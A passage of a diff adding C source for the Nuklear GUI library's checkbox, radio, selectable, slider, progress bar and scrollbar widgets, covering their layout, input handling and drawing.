+ NK_ASSERT(style); + NK_ASSERT(out); + NK_ASSERT(font); + if (!out || !style || !font || !active) + return 0; + + r.w = NK_MAX(r.w, font->height + 2 * style->padding.x); + r.h = NK_MAX(r.h, font->height + 2 * style->padding.y); + + /* add additional touch padding for touch screen devices */ + bounds.x = r.x - style->touch_padding.x; + bounds.y = r.y - style->touch_padding.y; + bounds.w = r.w + 2 * style->touch_padding.x; + bounds.h = r.h + 2 * style->touch_padding.y; + + /* calculate the selector space */ + select.w = font->height; + select.h = select.w; + select.y = r.y + r.h/2.0f - select.h/2.0f; + select.x = r.x; + + /* calculate the bounds of the cursor inside the selector */ + cursor.x = select.x + style->padding.x + style->border; + cursor.y = select.y + style->padding.y + style->border; + cursor.w = select.w - (2 * style->padding.x + 2 * style->border); + cursor.h = select.h - (2 * style->padding.y + 2 * style->border); + + /* label behind the selector */ + label.x = select.x + select.w + style->spacing; + label.y = select.y; + label.w = NK_MAX(r.x + r.w, label.x) - label.x; + label.h = select.w; + + /* update selector */ + was_active = *active; + *active = nk_toggle_behavior(in, bounds, state, *active); + + /* draw selector */ + if (style->draw_begin) + style->draw_begin(out, style->userdata); + if (type == NK_TOGGLE_CHECK) { + nk_draw_checkbox(out, *state, style, *active, &label, &select, &cursor, str, len, font); + } else { + nk_draw_option(out, *state, style, *active, &label, &select, &cursor, str, len, font); + } + if (style->draw_end) + style->draw_end(out, style->userdata); + return (was_active != *active); +} +/*---------------------------------------------------------------- + * + * CHECKBOX + * + * --------------------------------------------------------------*/ +NK_API int +nk_check_text(struct nk_context *ctx, const char *text, int len, int active) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + const struct nk_style *style; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return active; + + win = ctx->current; + style = &ctx->style; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return active; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + nk_do_toggle(&ctx->last_widget_state, &win->buffer, bounds, &active, + text, len, NK_TOGGLE_CHECK, &style->checkbox, in, style->font); + return active; +} +NK_API unsigned int +nk_check_flags_text(struct nk_context *ctx, const char *text, int len, + unsigned int flags, unsigned int value) +{ + int old_active; + NK_ASSERT(ctx); + NK_ASSERT(text); + if (!ctx || !text) return flags; + old_active = (int)((flags & value) & value); + if (nk_check_text(ctx, text, len, old_active)) + flags |= value; + else flags &= ~value; + return flags; +} +NK_API int +nk_checkbox_text(struct nk_context *ctx, const char *text, int len, int *active) +{ + int old_val; + NK_ASSERT(ctx); + NK_ASSERT(text); + NK_ASSERT(active); + if (!ctx || !text || !active) return 0; + old_val = *active; + *active = nk_check_text(ctx, text, len, *active); + return old_val != *active; +} +NK_API int +nk_checkbox_flags_text(struct nk_context *ctx, const char *text, int len, + unsigned int *flags, unsigned int value) +{ + int active; + NK_ASSERT(ctx); + NK_ASSERT(text); + NK_ASSERT(flags); + if (!ctx || !text || !flags) return 0; + + active = (int)((*flags & value) & value); + if (nk_checkbox_text(ctx, text, len, &active)) { + if (active) *flags |= value; + else *flags &= ~value; + return 1; + } + return 0; +} +NK_API int nk_check_label(struct nk_context *ctx, const char *label, int active) +{ + return nk_check_text(ctx, label, nk_strlen(label), active); +} +NK_API unsigned int nk_check_flags_label(struct nk_context *ctx, const char *label, + unsigned int flags, unsigned int value) +{ + return nk_check_flags_text(ctx, label, nk_strlen(label), flags, value); +} +NK_API int nk_checkbox_label(struct nk_context *ctx, const char *label, int *active) +{ + return nk_checkbox_text(ctx, label, nk_strlen(label), active); +} +NK_API int nk_checkbox_flags_label(struct nk_context *ctx, const char *label, + unsigned int *flags, unsigned int value) +{ + return nk_checkbox_flags_text(ctx, label, nk_strlen(label), flags, value); +} +/*---------------------------------------------------------------- + * + * OPTION + * + * --------------------------------------------------------------*/ +NK_API int +nk_option_text(struct nk_context *ctx, const char *text, int len, int is_active) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + const struct nk_style *style; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return is_active; + + win = ctx->current; + style = &ctx->style; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return (int)state; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + nk_do_toggle(&ctx->last_widget_state, &win->buffer, bounds, &is_active, + text, len, NK_TOGGLE_OPTION, &style->option, in, style->font); + return is_active; +} +NK_API int +nk_radio_text(struct nk_context *ctx, const char *text, int len, int *active) +{ + int old_value; + NK_ASSERT(ctx); + NK_ASSERT(text); + NK_ASSERT(active); + if (!ctx || !text || !active) return 0; + old_value = *active; + *active = nk_option_text(ctx, text, len, old_value); + return old_value != *active; +} +NK_API int +nk_option_label(struct nk_context *ctx, const char *label, int active) +{ + return nk_option_text(ctx, label, nk_strlen(label), active); +} +NK_API int +nk_radio_label(struct nk_context *ctx, const char *label, int *active) +{ + return nk_radio_text(ctx, label, nk_strlen(label), active); +} + + + + + +/* =============================================================== + * + * SELECTABLE + * + * ===============================================================*/ +NK_LIB void +nk_draw_selectable(struct nk_command_buffer *out, + nk_flags state, const struct nk_style_selectable *style, int active, + const struct nk_rect *bounds, + const struct nk_rect *icon, const struct nk_image *img, enum nk_symbol_type sym, + const char *string, int len, nk_flags align, const struct nk_user_font *font) +{ + const struct nk_style_item *background; + struct nk_text text; + text.padding = style->padding; + + /* select correct colors/images */ + if (!active) { + if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->pressed; + text.text = style->text_pressed; + } else if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + text.text = style->text_hover; + } else { + background = &style->normal; + text.text = style->text_normal; + } + } else { + if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->pressed_active; + text.text = style->text_pressed_active; + } else if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover_active; + text.text = style->text_hover_active; + } else { + background = &style->normal_active; + text.text = style->text_normal_active; + } + } + /* draw selectable background and text */ + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(out, *bounds, &background->data.image, nk_white); + text.background = nk_rgba(0,0,0,0); + } else { + nk_fill_rect(out, *bounds, style->rounding, background->data.color); + text.background = background->data.color; + } + if (icon) { + if (img) nk_draw_image(out, *icon, img, nk_white); + else nk_draw_symbol(out, sym, *icon, text.background, text.text, 1, font); + } + nk_widget_text(out, *bounds, string, len, &text, align, font); +} +NK_LIB int +nk_do_selectable(nk_flags *state, struct nk_command_buffer *out, + struct nk_rect bounds, const char *str, int len, nk_flags align, int *value, + const struct nk_style_selectable *style, const struct nk_input *in, + const struct nk_user_font *font) +{ + int old_value; + struct nk_rect touch; + + NK_ASSERT(state); + NK_ASSERT(out); + NK_ASSERT(str); + NK_ASSERT(len); + NK_ASSERT(value); + NK_ASSERT(style); + NK_ASSERT(font); + + if (!state || !out || !str || !len || !value || !style || !font) return 0; + old_value = *value; + + /* remove padding */ + touch.x = bounds.x - style->touch_padding.x; + touch.y = bounds.y - style->touch_padding.y; + touch.w = bounds.w + style->touch_padding.x * 2; + touch.h = bounds.h + style->touch_padding.y * 2; + + /* update button */ + if (nk_button_behavior(state, touch, in, NK_BUTTON_DEFAULT)) + *value = !(*value); + + /* draw selectable */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_selectable(out, *state, style, *value, &bounds, 0,0,NK_SYMBOL_NONE, str, len, align, font); + if (style->draw_end) style->draw_end(out, style->userdata); + return old_value != *value; +} +NK_LIB int +nk_do_selectable_image(nk_flags *state, struct nk_command_buffer *out, + struct nk_rect bounds, const char *str, int len, nk_flags align, int *value, + const struct nk_image *img, const struct nk_style_selectable *style, + const struct nk_input *in, const struct nk_user_font *font) +{ + int old_value; + struct nk_rect touch; + struct nk_rect icon; + + NK_ASSERT(state); + NK_ASSERT(out); + NK_ASSERT(str); + NK_ASSERT(len); + NK_ASSERT(value); + NK_ASSERT(style); + NK_ASSERT(font); + + if (!state || !out || !str || !len || !value || !style || !font) return 0; + old_value = *value; + + /* toggle behavior */ + touch.x = bounds.x - style->touch_padding.x; + touch.y = bounds.y - style->touch_padding.y; + touch.w = bounds.w + style->touch_padding.x * 2; + touch.h = bounds.h + style->touch_padding.y * 2; + if (nk_button_behavior(state, touch, in, NK_BUTTON_DEFAULT)) + *value = !(*value); + + icon.y = bounds.y + style->padding.y; + icon.w = icon.h = bounds.h - 2 * style->padding.y; + if (align & NK_TEXT_ALIGN_LEFT) { + icon.x = (bounds.x + bounds.w) - (2 * style->padding.x + icon.w); + icon.x = NK_MAX(icon.x, 0); + } else icon.x = bounds.x + 2 * style->padding.x; + + icon.x += style->image_padding.x; + icon.y += style->image_padding.y; + icon.w -= 2 * style->image_padding.x; + icon.h -= 2 * style->image_padding.y; + + /* draw selectable */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_selectable(out, *state, style, *value, &bounds, &icon, img, NK_SYMBOL_NONE, str, len, align, font); + if (style->draw_end) style->draw_end(out, style->userdata); + return old_value != *value; +} +NK_LIB int +nk_do_selectable_symbol(nk_flags *state, struct nk_command_buffer *out, + struct nk_rect bounds, const char *str, int len, nk_flags align, int *value, + enum nk_symbol_type sym, const struct nk_style_selectable *style, + const struct nk_input *in, const struct nk_user_font *font) +{ + int old_value; + struct nk_rect touch; + struct nk_rect icon; + + NK_ASSERT(state); + NK_ASSERT(out); + NK_ASSERT(str); + NK_ASSERT(len); + NK_ASSERT(value); + NK_ASSERT(style); + NK_ASSERT(font); + + if (!state || !out || !str || !len || !value || !style || !font) return 0; + old_value = *value; + + /* toggle behavior */ + touch.x = bounds.x - style->touch_padding.x; + touch.y = bounds.y - style->touch_padding.y; + touch.w = bounds.w + style->touch_padding.x * 2; + touch.h = bounds.h + style->touch_padding.y * 2; + if (nk_button_behavior(state, touch, in, NK_BUTTON_DEFAULT)) + *value = !(*value); + + icon.y = bounds.y + style->padding.y; + icon.w = icon.h = bounds.h - 2 * style->padding.y; + if (align & NK_TEXT_ALIGN_LEFT) { + icon.x = (bounds.x + bounds.w) - (2 * style->padding.x + icon.w); + icon.x = NK_MAX(icon.x, 0); + } else icon.x = bounds.x + 2 * style->padding.x; + + icon.x += style->image_padding.x; + icon.y += style->image_padding.y; + icon.w -= 2 * style->image_padding.x; + icon.h -= 2 * style->image_padding.y; + + /* draw selectable */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_selectable(out, *state, style, *value, &bounds, &icon, 0, sym, str, len, align, font); + if (style->draw_end) style->draw_end(out, style->userdata); + return old_value != *value; +} + +NK_API int +nk_selectable_text(struct nk_context *ctx, const char *str, int len, + nk_flags align, int *value) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + const struct nk_style *style; + + enum nk_widget_layout_states state; + struct nk_rect bounds; + + NK_ASSERT(ctx); + NK_ASSERT(value); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !value) + return 0; + + win = ctx->current; + layout = win->layout; + style = &ctx->style; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_selectable(&ctx->last_widget_state, &win->buffer, bounds, + str, len, align, value, &style->selectable, in, style->font); +} +NK_API int +nk_selectable_image_text(struct nk_context *ctx, struct nk_image img, + const char *str, int len, nk_flags align, int *value) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + const struct nk_style *style; + + enum nk_widget_layout_states state; + struct nk_rect bounds; + + NK_ASSERT(ctx); + NK_ASSERT(value); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !value) + return 0; + + win = ctx->current; + layout = win->layout; + style = &ctx->style; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_selectable_image(&ctx->last_widget_state, &win->buffer, bounds, + str, len, align, value, &img, &style->selectable, in, style->font); +} +NK_API int +nk_selectable_symbol_text(struct nk_context *ctx, enum nk_symbol_type sym, + const char *str, int len, nk_flags align, int *value) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + const struct nk_style *style; + + enum nk_widget_layout_states state; + struct nk_rect bounds; + + NK_ASSERT(ctx); + NK_ASSERT(value); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !value) + return 0; + + win = ctx->current; + layout = win->layout; + style = &ctx->style; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_selectable_symbol(&ctx->last_widget_state, &win->buffer, bounds, + str, len, align, value, sym, &style->selectable, in, style->font); +} +NK_API int +nk_selectable_symbol_label(struct nk_context *ctx, enum nk_symbol_type sym, + const char *title, nk_flags align, int *value) +{ + return nk_selectable_symbol_text(ctx, sym, title, nk_strlen(title), align, value); +} +NK_API int nk_select_text(struct nk_context *ctx, const char *str, int len, + nk_flags align, int value) +{ + nk_selectable_text(ctx, str, len, align, &value);return value; +} +NK_API int nk_selectable_label(struct nk_context *ctx, const char *str, nk_flags align, int *value) +{ + return nk_selectable_text(ctx, str, nk_strlen(str), align, value); +} +NK_API int nk_selectable_image_label(struct nk_context *ctx,struct nk_image img, + const char *str, nk_flags align, int *value) +{ + return nk_selectable_image_text(ctx, img, str, nk_strlen(str), align, value); +} +NK_API int nk_select_label(struct nk_context *ctx, const char *str, nk_flags align, int value) +{ + nk_selectable_text(ctx, str, nk_strlen(str), align, &value);return value; +} +NK_API int nk_select_image_label(struct nk_context *ctx, struct nk_image img, + const char *str, nk_flags align, int value) +{ + nk_selectable_image_text(ctx, img, str, nk_strlen(str), align, &value);return value; +} +NK_API int nk_select_image_text(struct nk_context *ctx, struct nk_image img, + const char *str, int len, nk_flags align, int value) +{ + nk_selectable_image_text(ctx, img, str, len, align, &value);return value; +} +NK_API int +nk_select_symbol_text(struct nk_context *ctx, enum nk_symbol_type sym, + const char *title, int title_len, nk_flags align, int value) +{ + nk_selectable_symbol_text(ctx, sym, title, title_len, align, &value);return value; +} +NK_API int +nk_select_symbol_label(struct nk_context *ctx, enum nk_symbol_type sym, + const char *title, nk_flags align, int value) +{ + return nk_select_symbol_text(ctx, sym, title, nk_strlen(title), align, value); +} + + + + + +/* =============================================================== + * + * SLIDER + * + * ===============================================================*/ +NK_LIB float +nk_slider_behavior(nk_flags *state, struct nk_rect *logical_cursor, + struct nk_rect *visual_cursor, struct nk_input *in, + struct nk_rect bounds, float slider_min, float slider_max, float slider_value, + float slider_step, float slider_steps) +{ + int left_mouse_down; + int left_mouse_click_in_cursor; + + /* check if visual cursor is being dragged */ + nk_widget_state_reset(state); + left_mouse_down = in && in->mouse.buttons[NK_BUTTON_LEFT].down; + left_mouse_click_in_cursor = in && nk_input_has_mouse_click_down_in_rect(in, + NK_BUTTON_LEFT, *visual_cursor, nk_true); + + if (left_mouse_down && left_mouse_click_in_cursor) { + float ratio = 0; + const float d = in->mouse.pos.x - (visual_cursor->x+visual_cursor->w*0.5f); + const float pxstep = bounds.w / slider_steps; + + /* only update value if the next slider step is reached */ + *state = NK_WIDGET_STATE_ACTIVE; + if (NK_ABS(d) >= pxstep) { + const float steps = (float)((int)(NK_ABS(d) / pxstep)); + slider_value += (d > 0) ? (slider_step*steps) : -(slider_step*steps); + slider_value = NK_CLAMP(slider_min, slider_value, slider_max); + ratio = (slider_value - slider_min)/slider_step; + logical_cursor->x = bounds.x + (logical_cursor->w * ratio); + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.x = logical_cursor->x; + } + } + + /* slider widget state */ + if (nk_input_is_mouse_hovering_rect(in, bounds)) + *state = NK_WIDGET_STATE_HOVERED; + if (*state & NK_WIDGET_STATE_HOVER && + !nk_input_is_mouse_prev_hovering_rect(in, bounds)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(in, bounds)) + *state |= NK_WIDGET_STATE_LEFT; + return slider_value; +} +NK_LIB void +nk_draw_slider(struct nk_command_buffer *out, nk_flags state, + const struct nk_style_slider *style, const struct nk_rect *bounds, + const struct nk_rect *visual_cursor, float min, float value, float max) +{ + struct nk_rect fill; + struct nk_rect bar; + const struct nk_style_item *background; + + /* select correct slider images/colors */ + struct nk_color bar_color; + const struct nk_style_item *cursor; + + NK_UNUSED(min); + NK_UNUSED(max); + NK_UNUSED(value); + + if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->active; + bar_color = style->bar_active; + cursor = &style->cursor_active; + } else if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + bar_color = style->bar_hover; + cursor = &style->cursor_hover; + } else { + background = &style->normal; + bar_color = style->bar_normal; + cursor = &style->cursor_normal; + } + /* calculate slider background bar */ + bar.x = bounds->x; + bar.y = (visual_cursor->y + visual_cursor->h/2) - bounds->h/12; + bar.w = bounds->w; + bar.h = bounds->h/6; + + /* filled background bar style */ + fill.w = (visual_cursor->x + (visual_cursor->w/2.0f)) - bar.x; + fill.x = bar.x; + fill.y = bar.y; + fill.h = bar.h; + + /* draw background */ + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(out, *bounds, &background->data.image, nk_white); + } else { + nk_fill_rect(out, *bounds, style->rounding, background->data.color); + nk_stroke_rect(out, *bounds, style->rounding, style->border, style->border_color); + } + + /* draw slider bar */ + nk_fill_rect(out, bar, style->rounding, bar_color); + nk_fill_rect(out, fill, style->rounding, style->bar_filled); + + /* draw cursor */ + if (cursor->type == NK_STYLE_ITEM_IMAGE) + nk_draw_image(out, *visual_cursor, &cursor->data.image, nk_white); + else nk_fill_circle(out, *visual_cursor, cursor->data.color); +} +NK_LIB float +nk_do_slider(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + float min, float val, float max, float step, + const struct nk_style_slider *style, struct nk_input *in, + const struct nk_user_font *font) +{ + float slider_range; + float slider_min; + float slider_max; + float slider_value; + float slider_steps; + float cursor_offset; + + struct nk_rect visual_cursor; + struct nk_rect logical_cursor; + + NK_ASSERT(style); + NK_ASSERT(out); + if (!out || !style) + return 0; + + /* remove padding from slider bounds */ + bounds.x = bounds.x + style->padding.x; + bounds.y = bounds.y + style->padding.y; + bounds.h = NK_MAX(bounds.h, 2*style->padding.y); + bounds.w = NK_MAX(bounds.w, 2*style->padding.x + style->cursor_size.x); + bounds.w -= 2 * style->padding.x; + bounds.h -= 2 * style->padding.y; + + /* optional buttons */ + if (style->show_buttons) { + nk_flags ws; + struct nk_rect button; + button.y = bounds.y; + button.w = bounds.h; + button.h = bounds.h; + + /* decrement button */ + button.x = bounds.x; + if (nk_do_button_symbol(&ws, out, button, style->dec_symbol, NK_BUTTON_DEFAULT, + &style->dec_button, in, font)) + val -= step; + + /* increment button */ + button.x = (bounds.x + bounds.w) - button.w; + if (nk_do_button_symbol(&ws, out, button, style->inc_symbol, NK_BUTTON_DEFAULT, + &style->inc_button, in, font)) + val += step; + + bounds.x = bounds.x + button.w + style->spacing.x; + bounds.w = bounds.w - (2*button.w + 2*style->spacing.x); + } + + /* remove one cursor size to support visual cursor */ + bounds.x += style->cursor_size.x*0.5f; + bounds.w -= style->cursor_size.x; + + /* make sure the provided values are correct */ + slider_max = NK_MAX(min, max); + slider_min = NK_MIN(min, max); + slider_value = NK_CLAMP(slider_min, val, slider_max); + slider_range = slider_max - slider_min; + slider_steps = slider_range / step; + cursor_offset = (slider_value - slider_min) / step; + + /* calculate cursor + Basically you have two cursors. One for visual representation and interaction + and one for updating the actual cursor value. */ + logical_cursor.h = bounds.h; + logical_cursor.w = bounds.w / slider_steps; + logical_cursor.x = bounds.x + (logical_cursor.w * cursor_offset); + logical_cursor.y = bounds.y; + + visual_cursor.h = style->cursor_size.y; + visual_cursor.w = style->cursor_size.x; + visual_cursor.y = (bounds.y + bounds.h*0.5f) - visual_cursor.h*0.5f; + visual_cursor.x = logical_cursor.x - visual_cursor.w*0.5f; + + slider_value = nk_slider_behavior(state, &logical_cursor, &visual_cursor, + in, bounds, slider_min, slider_max, slider_value, step, slider_steps); + visual_cursor.x = logical_cursor.x - visual_cursor.w*0.5f; + + /* draw slider */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_slider(out, *state, style, &bounds, &visual_cursor, slider_min, slider_value, slider_max); + if (style->draw_end) style->draw_end(out, style->userdata); + return slider_value; +} +NK_API int +nk_slider_float(struct nk_context *ctx, float min_value, float *value, float max_value, + float value_step) +{ + struct nk_window *win; + struct nk_panel *layout; + struct nk_input *in; + const struct nk_style *style; + + int ret = 0; + float old_value; + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + NK_ASSERT(value); + if (!ctx || !ctx->current || !ctx->current->layout || !value) + return ret; + + win = ctx->current; + style = &ctx->style; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return ret; + in = (/*state == NK_WIDGET_ROM || */ layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + + old_value = *value; + *value = nk_do_slider(&ctx->last_widget_state, &win->buffer, bounds, min_value, + old_value, max_value, value_step, &style->slider, in, style->font); + return (old_value > *value || old_value < *value); +} +NK_API float +nk_slide_float(struct nk_context *ctx, float min, float val, float max, float step) +{ + nk_slider_float(ctx, min, &val, max, step); return val; +} +NK_API int +nk_slide_int(struct nk_context *ctx, int min, int val, int max, int step) +{ + float value = (float)val; + nk_slider_float(ctx, (float)min, &value, (float)max, (float)step); + return (int)value; +} +NK_API int +nk_slider_int(struct nk_context *ctx, int min, int *val, int max, int step) +{ + int ret; + float value = (float)*val; + ret = nk_slider_float(ctx, (float)min, &value, (float)max, (float)step); + *val = (int)value; + return ret; +} + + + + + +/* =============================================================== + * + * PROGRESS + * + * ===============================================================*/ +NK_LIB nk_size +nk_progress_behavior(nk_flags *state, struct nk_input *in, + struct nk_rect r, struct nk_rect cursor, nk_size max, nk_size value, int modifiable) +{ + int left_mouse_down = 0; + int left_mouse_click_in_cursor = 0; + + nk_widget_state_reset(state); + if (!in || !modifiable) return value; + left_mouse_down = in && in->mouse.buttons[NK_BUTTON_LEFT].down; + left_mouse_click_in_cursor = in && nk_input_has_mouse_click_down_in_rect(in, + NK_BUTTON_LEFT, cursor, nk_true); + if (nk_input_is_mouse_hovering_rect(in, r)) + *state = NK_WIDGET_STATE_HOVERED; + + if (in && left_mouse_down && left_mouse_click_in_cursor) { + if (left_mouse_down && left_mouse_click_in_cursor) { + float ratio = NK_MAX(0, (float)(in->mouse.pos.x - cursor.x)) / (float)cursor.w; + value = (nk_size)NK_CLAMP(0, (float)max * ratio, (float)max); + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.x = cursor.x + cursor.w/2.0f; + *state |= NK_WIDGET_STATE_ACTIVE; + } + } + /* set progressbar widget state */ + if (*state & NK_WIDGET_STATE_HOVER && !nk_input_is_mouse_prev_hovering_rect(in, r)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(in, r)) + *state |= NK_WIDGET_STATE_LEFT; + return value; +} +NK_LIB void +nk_draw_progress(struct nk_command_buffer *out, nk_flags state, + const struct nk_style_progress *style, const struct nk_rect *bounds, + const struct nk_rect *scursor, nk_size value, nk_size max) +{ + const struct nk_style_item *background; + const struct nk_style_item *cursor; + + NK_UNUSED(max); + NK_UNUSED(value); + + /* select correct colors/images to draw */ + if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->active; + cursor = &style->cursor_active; + } else if (state & NK_WIDGET_STATE_HOVER){ + background = &style->hover; + cursor = &style->cursor_hover; + } else { + background = &style->normal; + cursor = &style->cursor_normal; + } + + /* draw background */ + if (background->type == NK_STYLE_ITEM_COLOR) { + nk_fill_rect(out, *bounds, style->rounding, background->data.color); + nk_stroke_rect(out, *bounds, style->rounding, style->border, style->border_color); + } else nk_draw_image(out, *bounds, &background->data.image, nk_white); + + /* draw cursor */ + if (cursor->type == NK_STYLE_ITEM_COLOR) { + nk_fill_rect(out, *scursor, style->rounding, cursor->data.color); + nk_stroke_rect(out, *scursor, style->rounding, style->border, style->border_color); + } else nk_draw_image(out, *scursor, &cursor->data.image, nk_white); +} +NK_LIB nk_size +nk_do_progress(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + nk_size value, nk_size max, int modifiable, + const struct nk_style_progress *style, struct nk_input *in) +{ + float prog_scale; + nk_size prog_value; + struct nk_rect cursor; + + NK_ASSERT(style); + NK_ASSERT(out); + if (!out || !style) return 0; + + /* calculate progressbar cursor */ + cursor.w = NK_MAX(bounds.w, 2 * style->padding.x + 2 * style->border); + cursor.h = NK_MAX(bounds.h, 2 * style->padding.y + 2 * style->border); + cursor = nk_pad_rect(bounds, nk_vec2(style->padding.x + style->border, style->padding.y + style->border)); + prog_scale = (float)value / (float)max; + + /* update progressbar */ + prog_value = NK_MIN(value, max); + prog_value = nk_progress_behavior(state, in, bounds, cursor,max, prog_value, modifiable); + cursor.w = cursor.w * prog_scale; + + /* draw progressbar */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_progress(out, *state, style, &bounds, &cursor, value, max); + if (style->draw_end) style->draw_end(out, style->userdata); + return prog_value; +} +NK_API int +nk_progress(struct nk_context *ctx, nk_size *cur, nk_size max, int is_modifyable) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_style *style; + struct nk_input *in; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + nk_size old_value; + + NK_ASSERT(ctx); + NK_ASSERT(cur); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !cur) + return 0; + + win = ctx->current; + style = &ctx->style; + layout = win->layout; + state = nk_widget(&bounds, ctx); + if (!state) return 0; + + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + old_value = *cur; + *cur = nk_do_progress(&ctx->last_widget_state, &win->buffer, bounds, + *cur, max, is_modifyable, &style->progress, in); + return (*cur != old_value); +} +NK_API nk_size +nk_prog(struct nk_context *ctx, nk_size cur, nk_size max, int modifyable) +{ + nk_progress(ctx, &cur, max, modifyable); + return cur; +} + + + + + +/* =============================================================== + * + * SCROLLBAR + * + * ===============================================================*/ +NK_LIB float +nk_scrollbar_behavior(nk_flags *state, struct nk_input *in, + int has_scrolling, const struct nk_rect *scroll, + const struct nk_rect *cursor, const struct nk_rect *empty0, + const struct nk_rect *empty1, float scroll_offset, + float target, float scroll_step, enum nk_orientation o) +{ + nk_flags ws = 0; + int left_mouse_down; + int left_mouse_clicked; + int left_mouse_click_in_cursor; + float scroll_delta; + + nk_widget_state_reset(state); + if (!in) return scroll_offset; + + left_mouse_down = in->mouse.buttons[NK_BUTTON_LEFT].down; + left_mouse_clicked = in->mouse.buttons[NK_BUTTON_LEFT].clicked; + left_mouse_click_in_cursor = nk_input_has_mouse_click_down_in_rect(in, + NK_BUTTON_LEFT, *cursor, nk_true); + if (nk_input_is_mouse_hovering_rect(in, *scroll)) + *state = NK_WIDGET_STATE_HOVERED; + + scroll_delta = (o == NK_VERTICAL) ? in->mouse.scroll_delta.y: in->mouse.scroll_delta.x; + if (left_mouse_down && left_mouse_click_in_cursor && !left_mouse_clicked) { + /* update cursor by mouse dragging */ + float pixel, delta; + *state = NK_WIDGET_STATE_ACTIVE; + if (o == NK_VERTICAL) { + float cursor_y; + pixel = in->mouse.delta.y; + delta = (pixel / scroll->h) * target; + scroll_offset = NK_CLAMP(0, scroll_offset + delta, target - scroll->h); + cursor_y = scroll->y + ((scroll_offset/target) * scroll->h); + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.y = cursor_y + cursor->h/2.0f; + } else { + float cursor_x; + pixel = in->mouse.delta.x; + delta = (pixel / scroll->w) * target; + scroll_offset = NK_CLAMP(0, scroll_offset + delta, target - scroll->w); + cursor_x = scroll->x + ((scroll_offset/target) * scroll->w); + in->mouse.buttons[NK_BUTTON_LEFT].clicked_pos.x = cursor_x + cursor->w/2.0f; + } + } else if ((nk_input_is_key_pressed(in, NK_KEY_SCROLL_UP) && o == NK_VERTICAL && has_scrolling)|| + nk_button_behavior(&ws, *empty0, in, NK_BUTTON_DEFAULT)) { + /* scroll page up by click on empty space or shortcut */ + if (o == NK_VERTICAL) + scroll_offset = NK_MAX(0, scroll_offset - scroll->h); + else scroll_offset = NK_MAX(0, scroll_offset - scroll->w); + } else if ((nk_input_is_key_pressed(in, NK_KEY_SCROLL_DOWN) && o == NK_VERTICAL && has_scrolling) || + nk_button_behavior(&ws, *empty1, in, NK_BUTTON_DEFAULT)) { + /* scroll page down by click on empty space or shortcut */ + if (o == NK_VERTICAL) + scroll_offset = NK_MIN(scroll_offset + scroll->h, target - scroll->h); + else scroll_offset = NK_MIN(scroll_offset + scroll->w, target - scroll->w); + } else if (has_scrolling) { + if ((scroll_delta < 0 || (scroll_delta > 0))) { + /* update cursor by mouse scrolling */ + scroll_offset = scroll_offset + scroll_step * (-scroll_delta); + if (o == NK_VERTICAL) + scroll_offset = NK_CLAMP(0, scroll_offset, target - scroll->h); + else scroll_offset = 